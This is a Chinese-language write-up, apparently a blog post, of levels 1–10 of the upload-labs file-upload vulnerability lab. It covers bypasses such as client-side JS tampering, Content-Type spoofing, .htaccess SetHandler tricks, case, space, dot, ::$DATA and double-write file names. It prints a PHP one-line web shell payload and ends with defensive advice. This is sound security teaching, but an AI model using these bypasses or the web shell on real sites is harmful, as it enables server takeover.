文件上传漏洞1

声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

一、文件上传漏洞

上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。

二、upload靶场闯关(1~10关)

Pass-01 JS 前端绕过

1. 源码逻辑

前端通过checkFile()函数做后缀校验,无后端任何校验逻辑,是典型不安全客户端校验。

复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    //白名单仅允许 .jpg|.png|.gif
    var allow_ext = ".jpg|.png|.gif";
    var ext_name = file.substring(file.lastIndexOf("."));
    //后缀不在白名单直接弹窗拦截、不提交数据包
    if (allow_ext.indexOf(ext_name+"|")==-1) {
        alert("文件类型不合法");
        return false; //终止表单提交
    }
}

表单:<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkFile()">

关键点:校验只在浏览器,数据包没发往服务器,后端直接接收上传文件,前端规则可被任意篡改、绕过。

2.绕过方法

保存当前页面,修改代码如下:

复制代码
function checkFile() {
•        var file = document.getElementsByName('upload_file')[0].value;
•        if (file == null || file == "") {
•            alert("请选择要上传的文件!");
•            return false;
•        }
•        //定义允许上传的文件类型
•        var allow_ext = ".jpg|.png|.gif";
•        //提取上传文件的类型
•        var ext_name = file.substring(file.lastIndexOf("."));
•        //判断上传文件类型是否允许上传
•        if (1 == -1) {
•            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
•            alert(errMsg);
•            return false;
•        }
•    }
复制代码
<form action="http://127.0.0.1/Pass-01/index.php" enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">

上传1.php即可。

Pass-02 文件类型验证

  1. 防护逻辑:后端校验请求头Content-Type字段,仅允许image/png/image/jpeg等图片 MIME。

  2. 绕过思路:BP 抓包修改请求头

    • 正常上传图片时 Content-Type 为image/png

    • 上传 PHP 脚本,BP 拦截数据包,将Content-Type:application/x-www-form-urlencoded修改为image/png,即可绕过类型校验。

  3. payload:<?php eval($_POST[cmd]);?>

Pass-03 黑名单绕过(Apache 多后缀解析漏洞)

  1. 防护逻辑 :后端黑名单拦截.php,禁止直接上传 php 文件。

  2. 漏洞原理 :Apache 服务器默认多后缀解析规则:xxx.php3/xxx.phtml会被当作 PHP 解析。

  3. 利用 :直接上传1.php3,服务器识别为 PHP 脚本执行。

Pass-04 .htaccess 配置文件绕过

  1. 漏洞原理:Apache 读取同目录.htaccess配置文件,自定义文件解析规则。

  2. 利用两步走

    ① 优先上传.htaccess配置文件,内容:

    复制代码
    <FilesMatch "loudong.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    含义:名为 loudong.jpg 的文件,强制用 PHP 解析;

    ② 再上传写入 PHP 一句话的loudong.jpg,访问该 jpg 文件即可执行 PHP 代码。

Pass-05 大小写绕过

  1. 防护缺陷 :黑名单仅过滤小写.php,未做统一小写转换,服务器 Windows 环境文件名大小写不敏感。

  2. 利用 :上传1.PHP / 1.PhP,Windows 系统自动识别为 php 后缀并解析。

Pass-06 末尾空格绕过

  1. 防护缺陷:后端后缀过滤时未去除文件名末尾空格,Windows 自动剔除文件名末尾空格。

  2. 利用 :BP 修改文件名为1.php(php 后加空格),保存时系统自动删掉空格变成1.php

Pass-07 末尾点绕过

  1. 原理 :Windows 系统自动剔除文件名末尾的.,过滤脚本无法识别.php.

  2. 利用 :上传文件名1.php.,系统自动处理为1.php

Pass-08 ::$DATA 数据流绕过

  1. 原理 :Windows NTFS 文件系统中,xxx.php::$DATA会将::$DATA识别为文件流,实际文件名仍为xxx.php

  2. 利用 :上传1.php::$DATA,后端过滤无法匹配 php 后缀,落地文件为1.php

Pass-09 deldot 缺陷绕过

deldot 是什么?

它是一个自定义函数,功能:

从后往前删除文件名末尾所有的点 .

例如:

  • shell.php... → 删掉末尾点 → shell.php

  • shell.php. . → 它只会删点,不会删空格

Pass-10 str_replace 替换函数绕过

  1. 防护逻辑:使用str_replace("php","","文件名"),删除文件名中所有 php 字符;

    函数原型:

    复制代码
    str_replace(find,replace,string,[count])
    • find:待查找字符,replace:替换内容,string:目标字符串
  2. 绕过原理:双写关键字

    • 过滤逻辑删除 php,构造文件名1.pphphp

    • str_replace 删除中间 php 后,剩余字符拼接为1.php

  3. 利用:上传1.pphphp,替换后生成可执行 php 文件。

三、防御方案总结

  1. 白名单限制后缀:只允许 jpg/png/gif 等图片后缀,杜绝黑名单;

  2. 后端双重校验:同时校验 MIME 类型 + 文件头部(文件幻数);

  3. 统一文件名处理:全小写 + 去除首尾空格 / 小数点,过滤::$DATA 等特殊字符;

  4. 文件目录隔离:上传目录禁用 PHP 解析权限,配置 Apache/Nginx 禁止上传目录执行脚本。

相关推荐
网络豆2 天前
Apache Maven 鸿蒙 PC 适配全记录:把 JVM 构建工具交付到 HiShell
maven·apache·harmonyos
网络豆2 天前
Apache Hive 鸿蒙 PC 适配全记录:以 Qt 客户端打通 HiveQL、监控与元数据访问
hive·apache·harmonyos
网络豆2 天前
Apache HBase 鸿蒙 PC 适配全记录:用 Qt 原生客户端打通 REST 管理与数据读写
apache·hbase·harmonyos
无巧不成书02183 天前
Apache Tomcat 9 下载全指南(Windows,Linux,macOS):版本选型、国内镜像、SHA-512 与 PGP 完整性校验
windows·tomcat·apache
Dream-Y.ocean3 天前
鸿蒙平台 Apache Tomcat 管理控制台适配实战:基于 Electron 壳方案的真实 HTTP 服务器实现
tomcat·apache·harmonyos
betazhou3 天前
Apache seatunel常用配置参数解析说明
apache·seatunnel
凤山老林4 天前
Spring Boot 集成 Apache Kafka Streams 构建流处理应用:状态存储、窗口聚合与
spring boot·kafka·apache
DolphinScheduler社区5 天前
Apache DolphinScheduler 8 月报:权限安全加固,调度补火上线,性能与稳定性持续提升
大数据·安全·开源·apache·任务调度·海豚调度
sbjdhjd5 天前
从 7 字符文件名拼接到二维数组取值:PHP 无参函数限制下的受控靶场复盘 | (7字符绕过)
网络·nginx·安全·网络安全·云计算·php·apache
Jackyzhe6 天前
Apache Iceberg Variant 类型:v3 半结构化数据不再「二选一」
apache